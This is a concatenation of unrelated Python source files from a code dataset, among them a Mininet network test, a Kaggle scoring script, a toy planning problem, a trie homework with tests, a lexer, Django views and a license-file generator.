ns.core.LOG_ALL)\n #ns.core.LogComponentEnable(\"UanNetDevice\", ns.core.LOG_ALL)\n #ns.core.LogComponentEnable(\"UanPhyGen\", ns.core.LOG_ALL)\n #ns.core.LogComponentEnable(\"TagBuffer\", ns.core.LOG_ALL)\n #ns.core.LogComponentEnable(\"TapBridge\", ns.core.LOG_ALL)\n #ns.core.LogComponentEnable(\"TapBridgeHelper\", ns.core.LOG_ALL)\n #ns.core.LogComponentEnable(\"TapFdNetDeviceHelper\", ns.core.LOG_ALL)\n #ns.core.LogComponentEnable(\"UanPhy\", ns.core.LOG_ALL)\n #ns.core.LogComponentEnableAll(ns.core.LOG_PREFIX_NODE)\n #ns.core.LogComponentEnableAll(ns.core.LOG_PREFIX_TIME)\n net = Mininet( topo=None,\n build=False)\n\n net.addController( 'c0',\n controller=RemoteController,\n ip='10.0.0.4', port=6633)\n\n h1 = net.addHost( 'h1', ip='10.0.0.1' )\n \n h4 = net.addHost( 'h4', ip='10.0.0.4' )\n\n s1 = net.addSwitch( 's1', cls=OVSSwitch, inband=True )\n \n #net.addLink( h1, s1 )\n \n Csma = CSMASegment(DataRate=\"10Mbps\", Delay=\"100000000ns\")\n Csma.add(h1)\n Csma.add(h4)\n Csma.add(s1)\n #net.addLink( h4, s1 )\n #net.addLink( h4, s2 )\n #net.addLink( h4, s3 )\n #net.addLink( s1, s2 )\n #net.addLink( s2, s3 )\n mobility_helpers={'h1':opennet.createMobilityHelper(\"ns3::ConstantPositionMobilityModel\"),\n 'h2':opennet.createMobilityHelper(\"ns3::ConstantPositionMobilityModel\"),\n 'h3':opennet.createMobilityHelper(\"ns3::ConstantPositionMobilityModel\"),\n 'h4':opennet.createMobilityHelper(\"ns3::ConstantPositionMobilityModel\"),\n 's1':opennet.createMobilityHelper(\"ns3::ConstantPositionMobilityModel\"),\n 's2':opennet.createMobilityHelper(\"ns3::ConstantPositionMobilityModel\"),\n 's3':opennet.createMobilityHelper(\"ns3::ConstantPositionMobilityModel\")\n }\n\n list_position={'h1':opennet.createListPositionAllocate(x1=0,y1=14,z1=-10),\n 'h2':opennet.createListPositionAllocate(x1=-5,y1=-5,z1=-10),\n 'h3':opennet.createListPositionAllocate(x1=15,y1=0,z1=-10),\n 'h4':opennet.createListPositionAllocate(x1=0,y1=14.2,z1=-10),\n 's1':opennet.createListPositionAllocate(x1=0,y1=14.1,z1=-10),\n 's2':opennet.createListPositionAllocate(x1=0,y1=0,z1=-10),\n 's3':opennet.createListPositionAllocate(x1=10,y1=0,z1=-10)\n }\n\n mobility_models={'h1': opennet.setListPositionAllocate(mobility_helpers['h1'],\n list_position['h1']\n ),\n 'h2': opennet.setListPositionAllocate(mobility_helpers['h2'],\n list_position['h2']\n ),\n 'h3': opennet.setListPositionAllocate(mobility_helpers['h3'],\n list_position['h3']\n ),\n 'h4': opennet.setListPositionAllocate(mobility_helpers['h4'],\n list_position['h4']\n ),\n 's1': opennet.setListPositionAllocate(mobility_helpers['s1'],\n list_position['s1']\n ),\n 's2': opennet.setListPositionAllocate(mobility_helpers['s2'],\n list_position['s2']\n ),\n 's3': opennet.setListPositionAllocate(mobility_helpers['s3'],\n list_position['s3']\n )\n }\n opennet.setMobilityModel(h1, mobility_models.get('h1'))\n #opennet.setMobilityModel(h2, mobility_models.get('h2')) \n #opennet.setMobilityModel(h3, mobility_models.get('h3'))\n opennet.setMobilityModel(h4, mobility_models.get('h4'))\n opennet.setMobilityModel(s1, mobility_models.get('s1'))\n #opennet.setMobilityModel(s2, mobility_models.get('s2'))\n #opennet.setMobilityModel(s3, mobility_models.get('s3'))\n\n net.start()\n opennet.start()\n #s1.cmd('ifconfig s1 10.0.0.10')\n #s2.cmd('ifconfig s2 10.0.0.11')\n #s3.cmd('ifconfig s3 10.0.0.12')\n\n #os.system(\"~/UCLA_SDUAN/tests/controller_tests/post-config.sh\")\n CLI( net )\n net.stop()\n\nif __name__ == '__main__':\n setLogLevel( 'debug' )\n emptyNet()\n","sub_path":"tests/controller_tests/controller_test.py","file_name":"controller_test.py","file_ext":"py","file_size_in_byte":5570,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"591992893","text":"import os, sys\nROOT = os.path.abspath(os.path.join(os.path.dirname(os.path.abspath(__file__)), '../../'))\nsys.path.append(ROOT)\nAPP_ROOT = os.path.join(ROOT, \"avito\")\nOUTPUT_DIR = os.path.join(APP_ROOT, \"output\")\nSPAIN_DIR = os.path.join(APP_ROOT, \"spain\")\nSUB_DIR = os.path.join(APP_ROOT, \"submission\")\nPRED_TRAIN = os.path.join(OUTPUT_DIR, \"pred_train.csv\")\nCV_FOLDS = os.path.join(SPAIN_DIR, \"train_folds.csv\")\nS1_CV = os.path.join(SUB_DIR, \"simple1_cv.csv\")\nS2_CV = os.path.join(SUB_DIR, \"simple2_cv.csv\")\nS3_CV = os.path.join(SUB_DIR, \"simple3_cv.csv\")\nS4_CV = os.path.join(SUB_DIR, \"simple4_cv.csv\")\nS5_CV = os.path.join(SUB_DIR, \"simple5_cv.csv\")\nS6_CV = os.path.join(SUB_DIR, \"simple6_cv.csv\")\nimport pandas as pd\nfrom sklearn import metrics\n\ntrain = pd.read_csv(PRED_TRAIN)\nuse_col = [\"item_id\", \"deal_probability\"]\ntrain = train[use_col]\n\ndfs = []\nfilenames = [S1_CV, S2_CV, S3_CV, S4_CV, S5_CV, S6_CV]\nfor filename in filenames:\n df = pd.read_csv(filename)\n df = pd.merge(df, train, on=\"item_id\", how=\"left\")\n dfs.append(df)\n\nfor some_df in dfs:\n y_pred = some_df[\"cv_pred\"]\n y_true = some_df[\"deal_probability\"]\n score = metrics.mean_squared_error(y_true, y_pred) ** 0.5\n print(score)\n\n\n\n\n","sub_path":"simple/check_score.py","file_name":"check_score.py","file_ext":"py","file_size_in_byte":1222,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"136094071","text":"# Mattia Sabino Caso\n#Data-processing\n#\n#CSV2JSON converter\n\nimport csv\nimport json\n\n\n\n# Opens the json file giving it write permission.\nwith open ('world.json', 'w') as jsonfile:\n\n # Opens the csv file.\n with open ('world.csv', 'r') as csvfile:\n \n # Reads through the csv file and saves it as reader.\n reader = csv.DictReader(csvfile)\n \n test = []\n for row in reader:\n test.append(row)\n #test.append('\\n')\n \n \n \n \n json.dump(test, jsonfile, indent = 2)\n\n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n # Loop through every row in readers.\n #for row in reader: \n \n # Writes it in the json file.\n \n #print json.dump(row, jsonfile, indent=1)\n #jsonfile.write(json.dumps(row) + '\\n')\n\n \n \n\n \n ","sub_path":"homework/week_4/scatterplot/convertCSV2JSON.py","file_name":"convertCSV2JSON.py","file_ext":"py","file_size_in_byte":981,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"123946920","text":"from planning import *\n\n\ndef murder():\n return PlanningProblem(\n initial='Want(Alex, elected) & Want(Ben, elected)'\n '&Person(Alex) & Person(Ben) & Weapon(knife) & Weapon(gun) & Object(elected)',\n goals='Die(Alex)',\n actions=[\n Action('win(p)',\n precond='Want(p, elected)',\n effect='Win(p)',\n domain='Person(p) & Object(elected)'),\n Action('hate(p1, p2)',\n precond='Want(p1, elected) & Want(p2, elected) & Win(p2)',\n effect='Hate(p1, p2)',\n domain='Person(p1) & Person(p2)'),\n Action('get(p1, w)',\n precond='~Have(p1, w)',\n effect='Have(p1, w)',\n domain='Person(p1) & Weapon(w)'),\n Action('stab(p1, p2)',\n precond='Hate(p1, p2) & Have(p1, knife)',\n effect='Die(p2)',\n domain='Person(p1) & Person(p2) & Weapon(knife)')],\n domain='Person(Alex) & Person(Ben) & Weapon(knife) & Weapon(gun) & Object(elected)')\n\n\nst = murder()\n\npop = PartialOrderPlanner(st)\n\npop.execute()\n","sub_path":"simple.py","file_name":"simple.py","file_ext":"py","file_size_in_byte":1166,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"228948586","text":"#野口モデルの実装\n#コマンドライン引数で予測用の数値の入ったCSVファイルを指定\n#1、CSVからモデルに入れる値を取得\n#2、モデルで使用するw1,w2を指定されたファイルから取得\n#3、計算\n#4、結果をもとの数値に戻して(二桁の風速、風向を意味する値)CSV出力\n\n#ref\n#https://qiita.com/tanemaki/items/2ed05e258ef4c9e6caac\n\n\nw1_path='./w1.csv'\nw2_path='./w2.csv'\nw3_path='./w3.csv'\noutput_path='../pred/ynoguchi_pred.csv'\ninput_path='../pred/7_input_for_predict_tanna.csv'\n\nimport sys\nimport numpy as numpy\nimport pandas as pd\n\n#面倒なので引数にファイルパスを渡すのはやめる\n#argvs=sys.argv\n#argc=len(argvs)\n\n#print (argvs)\n#print (argc)\n#print(argvs[1])\n\n#入力数値を取得するファイルパス\ninput_df=pd.read_csv(input_path,sep=',')\nprint(input_df)\n#中間層を軒並み読み込む\nw1_df = pd.read_csv(w1_path,sep=',',header=None)\nw2_df=pd.read_csv(w2_path,sep=',',header=None)\nw3_df=pd.read_csv(w3_path,sep=',',header=None)\nprint(w1_df)\nprint(w2_df)\nprint(w3_df)\n\n#余計な要素を除外する\ninput_df2=input_df.iloc[:,0:6]\nprint(input_df2)\n#各要素について負であれば0に置き換える\nb1=input_df2.dot(w1_df.values)\nprint(b1)\n\n#pandasのdataframe上で処理\n#0以下の値をすべてNaNにする\nb1_no0=b1[b1>0]\n#NaNを0埋めする\nb1_mod=b1_no0.fillna(0)\nprint(b1_mod)\n\n#要素をループしてマイナスなら0に置き換え\nb2=b1_mod.dot(w2_df.values)\nprint(b2)\nb2_no0=b2[b2>0]\nb2_mod=b2_no0.fillna(0)\nprint(b2_mod)\n\nb3=b2_mod.dot(w3_df.values)\nprint(b3)\nprint('max')\n#最大値を求めるため、天地を逆にしてMaxを取る\nb3_T=b3.T\nprint(b3_T)\nprint(b3_T[0].max())\n#最大値を持つインデックスを取得\nprint(b3_T[0].idxmax())\ntmp_pred=b3_T[0].idxmax()\nif tmp_pred==0:\n pred=10\nif tmp_pred==1:\n pred=12\nif tmp_pred==2:\n pred=14\nif tmp_pred==3:\n pred=16\nif tmp_pred==4:\n pred=20\nif tmp_pred==5:\n pred=22\nif tmp_pred==6:\n pred=24\nif tmp_pred==7:\n pred=26\nelse:\n pred=99\nprint(pred)\n\n\n#10, 12, 14, 16, 20, 22, 24, 26 を順番に 0,1,2,3,4,5,6,7 に置き換え。(8パターンの分類問題)\n#最大確立のラベルが予想値\n#整えてCSV出力","sub_path":"model/ynoguchi_v1.py","file_name":"ynoguchi_v1.py","file_ext":"py","file_size_in_byte":2255,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"70027602","text":"N=int(input())\np=[]\np=input().split()\nk=list()\nif(1<=N and N<=100000):\n\tfor i in range(N):\n\t\tk.append(int(p[i]))\nwhile(k):\n\tprint(max(k),end=\"\")\n\tif(max(k)==0):\n\t break\n\telse:\n\t k.pop(k.index(max(k)))\n","sub_path":"hun2.py","file_name":"hun2.py","file_ext":"py","file_size_in_byte":205,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"62722290","text":"\nfrom django.shortcuts import render\n\n# Create your views here.\nfrom django.views.generic import ListView \n\nfrom .models import *\n\nclass ListLibros(ListView):\n #model = Autor\n template_name = \"libros/lista.html\"\n context_object_name=\"lista_libros\"\n\n def get_queryset(self): \n palabra=self.request.GET.get(\"nombre\",'')\n f1=self.request.GET.get(\"fecha1\",'')\n f2=self.request.GET.get(\"fecha2\",'')\n if f1 and f2:\n return Libro.objects.listar_libros2(palabra,f1,f2)\n else:\n return Libro.objects.listar_libros(palabra)\n \n \n ","sub_path":"CURSO_DJANGO_REST_PRO/entornos/pro_Biblioteca/applications/libro/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":615,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"227715052","text":"from utils import getmaxlen, getspaces, validate\n\n\ndef arithmetic_arranger(problems, showresults=False):\n if len(problems) > 5:\n return \"Error: Too many problems.\"\n\n # split of every problem with the length of longest digit\n oplist = [(x[0], x[1], x[2], getmaxlen(x[0], x[2]))\n for x in (x.split() for x in problems)]\n \n error = validate(oplist)\n if error:\n return error\n\n result = ''\n separator = ' '\n\n # adding 1st numbers of every operation to result\n i = 0\n for op in oplist:\n result += '{}{}'.format(getspaces(op[3] - len(op[0]) + 2), op[0])\n if i < len(oplist) - 1:\n result += separator\n else:\n result += '\\n'\n i += 1\n\n # adding symbol and 2nd numbers of every operation to result\n i = 0\n for op in oplist:\n result += '{} {}{}'.format(op[1], getspaces(op[3] - len(op[2])), op[2])\n if i < len(oplist) - 1:\n result += separator\n else:\n result += '\\n'\n i += 1\n\n # adding dashes to result\n i = 0\n for op in oplist:\n for x in range(op[3] + 2):\n result += '-'\n if i < len(oplist) - 1:\n result += separator\n i += 1\n\n if showresults:\n # adding results to result\n result += '\\n'\n i = 0\n for op in oplist:\n opresult = str(eval(problems[i]))\n result += '{}{}'.format(getspaces(op[3] - len(opresult) + 2), opresult)\n if i < len(oplist) - 1:\n result += separator\n i += 1\n\n return result\n","sub_path":"arithmetic_arranger.py","file_name":"arithmetic_arranger.py","file_ext":"py","file_size_in_byte":1597,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"200318631","text":"from django.urls import path\nfrom django.conf.urls import url\nfrom . import views\n\nfrom .views import HomePageView\n\nurlpatterns = [\n path('', views.post_list, name='post_list'),\n url(r'^post_list/$', views.post_list, name='post_list'),\n path('post//', views.post_detail, name='post_detail'),\n path('post//edit/', views.post_edit, name='post_edit'),\n path('post/new/', views.post_new, name='post_new'),\n path('', HomePageView.as_view(), name='home'),\n url(r'^products1/$', views.products1, name='products1'),\n url(r'^products2/$', views.products2, name='products2'),\n url(r'^products3/$', views.products3, name='products3'),\n url(r'^products4/$', views.products4, name='products4'),\n]","sub_path":"blog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":729,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"183986314","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n'''\nhttps://leetcode.com/problems/most-common-word/discuss/\n'''\n\nclass Solution(object):\n def mostCommonWord(self, paragraph, banned):\n '''\n :type paragraph: str\n :type banned: List[str]\n :rtype: str\n '''\n # 记录不在banned的各个word出现的次数\n dic = {}\n for s in paragraph.strip().split(' '):\n # 转为小写字母\n lower_s = s.lower()\n # 判断word是否带有标签符号\n if lower_s[-1] in \"!?',;.\":\n lower_s = lower_s[:-1]\n if lower_s not in banned:\n if lower_s in dic:\n dic[lower_s] += 1\n else:\n dic[lower_s] = 1\n\n # 遍历寻找最大值\n max_num = 0\n max_key = ''\n for i in dic:\n if dic[i] > max_num:\n max_num = dic[i]\n max_key = i\n return max_key\n","sub_path":"819. Most Common Word.py","file_name":"819. Most Common Word.py","file_ext":"py","file_size_in_byte":987,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"21584031","text":"from Core import Core\n\nclass Scanner:\n # Initialize the scanner\n def __init__(self, filename):\n \"\"\"\n I implemented this by reading the entire file and seperating it by each character into a list\n \"\"\"\n\n #self.count represents the index in the array that is currently being looked at\n self.count = 0\n #self.whiteSpaceCount represents the number of whitespace characters encountered before a token\n\n self.whiteSpaceCount = 0\n #self.end is True when Core.END is found\n self.end = False\n\n #Opens the file, reads each character into an array and closes the file\n file = open(filename,\"r\")\n self.tokens = list(file.read())\n file.close()\n\n # Advance to the next token\n def nextToken(self):\n #Move to the next token by ignoring the indices of all the whitespace characters\n self.count += self.whiteSpaceCount\n\n token = self.currentToken()\n\n #Compare the token returned from currentToken() to all the possible token values to determine how much to increment self.count\n #For example if the token returned is a + then we can move onto the next token by incrementing self.count by 1\n #self.count is the index of the start of the current token\n\n #Essentially since the file is separated into each char, the amount self.count gets incremented by \n #corresponds to the number of indices to add before the next character is reached\n if token == Core.ID:\n #Increment the current index by the length of the ID the user gave\n self.count += len(self.getID())\n elif token == Core.CONST:\n #Increment the current index by the length of the number the user gave\n self.count += len(self.getCONST())\n elif token == Core.ASSIGN or token == Core.LESSEQUAL or token == Core.IF:\n self.count += 2\n elif token == Core.LESS or token == Core.SUB or token == Core.ADD or token == Core.SEMICOLON or token == Core.LPAREN or token == Core.RPAREN or token == Core.COMMA:\n self.count += 1\n elif token == Core.PROGRAM or token == Core.INT or token == Core.OUTPUT or token == Core.INPUT or token == Core.BEGIN or token==Core.WHILE or token == Core.ENDWHILE or token == Core.ENDFUNC or token == Core.THEN or token == Core.ELSE or token == Core.ENDIF:\n self.count += len(token.name)\n else:\n if token == Core.END:\n self.count += 3\n else:\n self.count += 1\n\n \n def currentToken(self):\n\n #Set whiteSpaceCount to 0 because currentTokens gets called multiple times so I don't want the same value to get added multiple times\n self.whiteSpaceCount=0\n\n currentToken = self.tokens[self.count]\n index = self.count\n\n #Loops through all whitespace characters and ignores them\n while index')\n def end_study(self, Study_Id):\n if Study_Id == None:\n Study_Id = -1\n self.study_start_time = datetime.now()\n return Study_Id\n\n\n\n\nif __name__ == '__main__':\n s = StudyServer()\n app.run(debug=True)","sub_path":"Study-Server/StudyServer.py","file_name":"StudyServer.py","file_ext":"py","file_size_in_byte":2953,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"497087912","text":"#\n# Homework 11 - Trie\n#\n# Problem 1: TrieNode class\n#\n# Prompt: Create a TrieNode class\n# The TrieNode class should contain the following properties:\n#\n# value: {Character} - default None\n# next: {Dictionary}\n# end: {Boolean}\n#\n#\n# Example: sample = TrieNode(\"b\")\n# sample.value # \"b\"\n# sample.end # False\n#\n# Problem 2: Trie class\n#\n# Prompt: Create a Trie class\n# The Trie class should contain the following properties:\n#\n# root: {TrieNode}\n#\n# The Trie class should also contain the following methods:\n#\n# insert: A method that adds a word.\n#\n# Input: word {String}\n# Output: {None}\n#\n# isWord: A method that checks whether a word is in the trie.\n#\n# Input: word {String}\n# Output: {Boolean}\n#\n# isPrefix: A method that checks whether an input is a prefix of\n# a word in the string.\n#\n# Input: prefix {String}\n# Output: {Boolean}\n#\n# startsWith: A method that returns all words that starts with an\n# input prefix.\n#\n# Input: prefix {String}\n# Output: {List of Strings}\n#\n# EXTRA CREDIT:\n# remove: Removes a word from the trie.\n#\n# Input: word {String}\n# Output: {None}\n#\n\n\nclass TrieNode:\n\n def __init__(self, value=None):\n self.value = value;\n self.next = {};\n self.end = False;\n\n\nclass Trie:\n\n def __init__(self):\n self.root = TrieNode();\n\n def insert(self, word):\n current = self.root\n for i in range(0, len(word)):\n letter = word[i]\n if(not letter in current.next):\n current.next[letter] = TrieNode(letter)\n current = current.next[letter]\n current.end = True\n\n def is_word(self, word):\n current = self._search(word)\n return current != None and current.end\n\n def is_prefix(self, prefix):\n current = self._search(prefix)\n return current != None\n\n def starts_with(self, prefix):\n current = self._search(prefix)\n if(not current):\n return []\n results = self._traverse_node(current)\n for i in range(0, len(results)):\n results[i] = prefix + results[i]\n return results\n\n def remove(self, word):\n if(len(word) == 0):\n return\n current = self.root\n stack = []\n\n for i in range(0, len(word)):\n stack.append(current)\n if not word[i] in current.next:\n return\n current = current.next[word[i]]\n\n current.end = False\n if len(current.next) > 0:\n return\n\n while not current.end and len(stack) > 0:\n previousLetter = current.value\n current = stack.pop()\n del current.next[previousLetter]\n\n\n\n def _search(self, word):\n current = self.root\n for i in range(0, len(word)):\n letter = word[i]\n if not letter in current.next:\n return None\n current = current.next[letter]\n return current\n\n\n def _traverse_node(self, node):\n results = []\n\n def dfs(current, path):\n if current == None:\n return\n if current.end:\n results.append(path)\n for key in current.next:\n dfs(current.next[key], path + key)\n\n dfs(node, '')\n return results\n\n\n\n# ###########################################################\n# ############## DO NOT TOUCH TEST BELOW!!! ###############\n# ###########################################################\n\ndef expect(count, name, test):\n if (count is None or not isinstance(count, list) or len(count) != 2):\n count = [0, 0]\n else:\n count[1] += 1\n\n result = 'false'\n error_msg = None\n try:\n if test():\n result = ' true'\n count[0] += 1\n except Exception as err:\n error_msg = str(err)\n\n print(' ' + (str(count[1]) + ') ') + result + ' : ' + name)\n if error_msg is not None:\n print(' ' + error_msg + '\\n')\n\n\ndef lists_matching(lst1, lst2):\n if len(lst1) != len(lst2):\n return False\n\n cache = {}\n for i in range(0, len(lst1)):\n if lst1[i] in cache:\n cache[lst1[i]] += 1\n else:\n cache[lst1[i]] = 1\n for j in range(0, len(lst2)):\n if lst2[j] not in cache or cache[lst2[j]] == 0:\n return False\n cache[lst2[j]] -= 1\n return True\n\n\nprint('TrieNode Class')\ntest_count = [0, 0]\n\n\ndef test():\n node = TrieNode()\n return isinstance(node, object)\n\n\nexpect(test_count, 'able to create an instance', test)\n\n\ndef test():\n node = TrieNode()\n return hasattr(node, 'value')\n\n\nexpect(test_count, 'has value property', test)\n\n\ndef test():\n node = TrieNode()\n return hasattr(node, 'value') and node.value is None\n\n\nexpect(test_count, 'has default value set to None', test)\n\n\ndef test():\n node = TrieNode()\n return hasattr(node, 'end')\n\n\nexpect(test_count, 'has a end property', test)\n\n\ndef test():\n node = TrieNode()\n return hasattr(node, 'end') and node.end is False\n\n\nexpect(test_count, 'end property initially instantiated to false', test)\n\n\ndef test():\n node = TrieNode()\n node.end = True\n return node.end is True\n\n\nexpect(test_count, 'able to assign a end upon instantiation', test)\n\nprint('PASSED: ' + str(test_count[0]) + ' / ' + str(test_count[1]) + '\\n\\n')\n\n\nprint('Trie Class')\ntest_count = [0, 0]\n\n\ndef test():\n trie = Trie()\n return isinstance(trie, object)\n\n\nexpect(test_count, 'able to create an instance', test)\n\n\ndef test():\n trie = Trie()\n return hasattr(trie, 'root')\n\n\nexpect(test_count, 'has root property', test)\n\n\ndef test():\n trie = Trie()\n return hasattr(trie, 'root') and isinstance(trie.root, object)\n\n\nexpect(test_count, 'root property is a TrieNode', test)\n\n\ndef test():\n trie = Trie()\n return hasattr(trie, 'root') and trie.root.value == None\n\n\nexpect(test_count, 'root node value is set to None', test)\n\nprint('PASSED: ' + str(test_count[0]) + ' / ' + str(test_count[1]) + '\\n\\n')\n\n\nprint('Trie Insert Method')\ntest_count = [0, 0]\n\n\ndef test():\n trie = Trie()\n return hasattr(trie, 'insert') and callable(getattr(trie, 'insert'))\n\n\nexpect(test_count, 'has insert method', test)\n\n\ndef test():\n trie = Trie()\n trie.insert('cat')\n if hasattr(trie, 'root'):\n c = trie.root.next['c']\n a = c.next['a']\n t = a.next['t']\n return hasattr(trie, 'root') and c != None and a != None and t != None and t.end and not a.end and not c.end\n\n\nexpect(test_count, 'able to insert a word into empty trie', test)\n\n\ndef test():\n trie = Trie()\n trie.insert('cat')\n trie.insert('cats')\n if hasattr(trie, 'root'):\n c = trie.root.next['c']\n a = c.next['a']\n t = a.next['t']\n s = t.next['s']\n return hasattr(trie, 'root') and c != None and a != None and t != None and s != None and s.end and t.end and not a.end and not c.end\n\n\nexpect(test_count, 'able to insert words that overlap into trie', test)\n\nprint('PASSED: ' + str(test_count[0]) + ' / ' + str(test_count[1]) + '\\n\\n')\n\n\nprint('Trie IsWord Method')\ntest_count = [0, 0]\n\n\ndef test():\n trie = Trie()\n return hasattr(trie, 'is_word') and callable(getattr(trie, 'is_word'))\n\n\nexpect(test_count, 'has is_word method', test)\n\n\ndef test():\n trie = Trie()\n return trie.is_word('') == False\n\n\nexpect(test_count, 'should return false for an empty string as input', test)\n\n\ndef test():\n trie = Trie()\n return trie.is_word('cat') == False\n\n\nexpect(test_count, 'should return false for a word that doesn\\'t exist', test)\n\n\ndef test():\n trie = Trie()\n trie.insert('cat')\n return trie.is_word('cat') == True\n\n\nexpect(test_count, 'should return true for a word that exists', test)\n\n\ndef test():\n trie = Trie()\n trie.insert('cat')\n trie.insert('cats')\n return trie.is_word('cat') == True\n\n\nexpect(test_count, 'should return true for a word that exists within larger word', test)\n\n\ndef test():\n trie = Trie()\n trie.insert('cat')\n trie.insert('cats')\n return trie.is_word('cats') == True\n\n\nexpect(test_count, 'should return true for a word that is a larger word', test)\n\n\ndef test():\n trie = Trie()\n trie.insert('cats')\n return trie.is_word('cat') == False\n\n\nexpect(test_count, 'should return false if a smaller word was not added, but exists in a larger word', test)\n\nprint('PASSED: ' + str(test_count[0]) + ' / ' + str(test_count[1]) + '\\n\\n')\n\n\n\nprint('Trie StartsWith Method')\ntest_count = [0, 0]\n\n\ndef test():\n trie = Trie()\n return hasattr(trie, 'starts_with') and callable(getattr(trie, 'starts_with'))\n\n\nexpect(test_count, 'has starts_with method', test)\n\n\ndef test():\n trie = Trie()\n results = trie.starts_with('cats')\n return results is not None and len(results) == 0\n\n\nexpect(test_count, 'should return an empty array if no words start with input', test)\n\n\ndef test():\n trie = Trie()\n trie.insert('cat')\n trie.insert('cats')\n trie.insert('catnip')\n trie.insert('car')\n trie.insert('cars')\n results = trie.starts_with('car')\n return results is not None and len(results) == 2 and lists_matching(results, ['car', 'cars'])\n\n\nexpect(test_count, 'returns correct prefixes including input that is a word', test)\n\n\ndef test():\n trie = Trie()\n trie.insert('cat')\n trie.insert('cats')\n trie.insert('catnip')\n trie.insert('car')\n trie.insert('cars')\n results = trie.starts_with('ca')\n return results is not None and len(results) == 5 and lists_matching(results, ['car', 'cars', 'catnip', 'cat', 'cats'])\n\n\nexpect(test_count, 'returns correct prefixes', test)\n\n\ndef test():\n trie = Trie()\n trie.insert('cat')\n trie.insert('cats')\n trie.insert('catnip')\n trie.insert('car')\n trie.insert('cars')\n results = trie.starts_with('')\n return results is not None and len(results) == 5 and lists_matching(results, ['cat', 'cats', 'catnip', 'car', 'cars'])\n\n\nexpect(test_count, 'returns all words if input is empty string', test)\n\nprint('PASSED: ' + str(test_count[0]) + ' / ' + str(test_count[1]) + '\\n\\n')\n\n\n\nprint('Trie Remove Method')\ntest_count = [0, 0]\n\ndef test():\n trie = Trie()\n return hasattr(trie, 'remove') and callable(getattr(trie, 'remove'))\n\n\nexpect(test_count, 'has remove method', test)\n\n\ndef test():\n trie = Trie()\n trie.insert('cat')\n trie.remove('cat')\n return trie.is_word('cat') == False and not 'c' in trie.root.next\n\n\nexpect(test_count, 'removes a word that exists', test)\n\n\ndef test():\n trie = Trie()\n trie.insert('cat')\n trie.remove('c')\n return trie.is_word('cat') == True and 'c' in trie.root.next\n\n\nexpect(test_count, 'does not remove a word that does not exist', test)\n\n\ndef test():\n trie = Trie()\n trie.insert('hello')\n trie.insert('hell')\n trie.insert('he')\n trie.remove('hell')\n return trie.is_word('he') and trie.is_word('hello') and not trie.is_word('hell')\n\n\nexpect(test_count, 'does not remove letters that belong to a longer word', test)\n\n\ndef test():\n trie = Trie()\n trie.insert('cat')\n trie.insert('cats')\n trie.insert('catnip')\n trie.remove('catnip')\n return trie.is_word('cat') and trie.is_word('cats') and not trie.is_word('catnip') and not 'n' in trie.root.next['c'].next['a'].next['t'].next\n\n\nexpect(test_count, 'removes letters from longer word and keeps shorter letters', test)\n\nprint('PASSED: ' + str(test_count[0]) + ' / ' + str(test_count[1]) + '\\n\\n')\n","sub_path":"outco/outcode-60-python-apophis981/homework_solutions/11_trie.py","file_name":"11_trie.py","file_ext":"py","file_size_in_byte":11992,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"253663338","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"This module defines :class:`LicenseMaker` class.\"\"\"\n\nfrom __future__ import absolute_import, print_function\n\nimport os\nimport datetime\n\nfrom .base import BaseMaker\nfrom . import settings\n\n\n# Supported licenses, corresponding template file names, and descriptions\n_LICENSES = {\n \"APACHE\": [\"license_apache\", \"Apache License\"],\n \"CC0\": [\"license_cc0_1.0\", \"Creative Commons License for public domain\"],\n \"GPL2\": [\"license_gpl_2.0\", \"GNU General Public License v2.0\"],\n \"GPL3\": [\"license_gpl_3.0\", \"GNU General Public License v3.0\"],\n \"LGPL2\": [\"license_lgpl_2.1\", \"GNU Lesser General Public License v2.1\"],\n \"LGPL3\": [\"license_lgpl_3.0\", \"GNU Lesser General Public License v3.0\"],\n \"MIT\": [\"license_mit\", \"MIT License, Default\"],\n \"MOZILLA\": [\"license_mozilla\", \"Mozilla Public License v2.0\"],\n \"NEW-BSD\": [\"license_new_bsd\", \"New BSD(Berkeley Software Distribution) License\"],\n \"SIMPLE-BSD\": [\"license_simplified_bsd\", \"Simplified BSD(Berkeley Software Distribution) License\"],\n \"PROPRIETARY\": [\"license_proprietary\", \"Proprietary License\"],\n}\n\n\nclass LicenseMaker(BaseMaker):\n \"\"\"``LicenseMaker`` create *LICENSE* file in the project directory\n\n ``LicenseMaker`` basically choose the license specified in setup.cfg file.\n But if it can not retrieve the license from the file--for\n example, when the user did not specify a license in setup.cfg-- it creates\n the default license, which is **MIT** license.\n\n Args:\n projectDir (str): absolute path of project directory to create\n force (bool): option for overwriting if the file exists.\n license (str): license to create.\n\n \"\"\"\n def __init__(self, projectDir, force, license, **kwargs):\n self.projectDir = projectDir\n self.force = force\n self.license = license\n\n self._update_settings()\n\n def _update_settings(self):\n info = {\n 'today': datetime.date.today().isoformat(),\n 'year': str(datetime.date.today().year),\n }\n\n settings.registry.update(info)\n\n @staticmethod\n def is_supported_license(license):\n return bool(_LICENSES.get(license.upper()))\n\n @staticmethod\n def print_licenses():\n \"\"\"print supported licenses\n\n Returns:\n None\n \"\"\"\n print('Supported licenses are as follows:')\n indent = \" \" * 